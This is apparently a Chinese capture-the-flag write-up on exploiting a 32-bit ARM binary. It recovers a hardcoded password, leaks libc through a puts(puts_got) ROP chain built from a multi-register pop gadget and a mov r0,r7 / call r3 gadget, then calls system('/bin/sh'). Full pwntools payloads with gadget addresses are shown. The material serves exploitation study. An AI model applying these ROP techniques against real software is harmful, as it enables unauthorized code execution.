直接上例题,边看边讲
32位,开了NX、relro部分开启
程序前面有个加密,当我们输入的内容加密后与"Sp5jS6mpH6LZC6GqSWe="相同,程序会给我们一个能来进行栈溢出read
这道题放x86架构下,只要逆向出密码后面就是ret2libc的打法
但是在arm架构下,我们找到合适的gadget并调试的过程可能会更麻烦些
而且这道题还ban掉了csu打法,让本就不富裕的攻击手段雪上加霜
没有直接能控制r0的gadget,那我们要泄露libc地址只能寻找一下别的gadget
但我们可以注意到这个pop {r4, r5, r6, r7, r8, sb, sl, pc}
特殊的gadget,也就是所谓的万能gadget
通过这个我们可以控制r7的值,从刚才的init函数中我们可以发现mov r0,r7
这条指令,可以间接控制r0
同时,我们可以发现下面再执行会跳转到r3 所储存的地址,而我们有着可以直接控制r3 的gadget,通过构造puts(puts_got)我们即可获取libc地址
sla('msg> ','s1mpl3Dec0d4r') puts_got = elf.got['puts'] puts_plt = elf.plt['puts'] r4_pc = 0x00010cb0 r3 = 0x00010464 movcall = 0x00010ca0 vuln = 0x0010B60
pl = b'a'*0x2c+p32(r4_pc)+p32(0)+p32(0)+p32(0)+p32(puts_got)+p32(0)+p32(0)+p32(0) #控制r7为puts_gots pl += p32(r3)+p32(puts_plt)+p32(movcall) #控制r3为puts_plt,并通过mov_call将r7传参给r0,并执行r3 pl += p32(0)+p32(0)+p32(0)+p32(0)+p32(0)+p32(0)+p32(0)+p32(vuln) #往下执行到pop{r4-r10,pc},要重新控制程序流,跳回vuln p.sendlineafter('comment> ',pl)
leak出libc地址,劫持程序流
libcbase = uu64(r(4)) - libc.sym['puts'] system = libcbase + libc.sym['system'] binsh = libcbase + 0x00131bec leak('libcbase',libcbase)
看一下详细过程,思路简单但是调试的过程很麻烦
si、ni等指令在调试中很难用
paylaod送入
pop {r4, r5, r6, r7, r8, sb, sl, pc}
:
pop {r3 , pc}:
movcall
:
送入shellcode
sla('msg> ','s1mpl3Dec0d4r') pl = b'a'*0x2c+p32(r4_pc) pl += p32(0)+p32(0)+p32(0)+p32(binsh)+p32(0)+p32(0)+p32(0) pl += p32(r3)+p32(system)+p32(movcall) #call r3 # r0: r7 p.sendlineafter('comment> ',pl)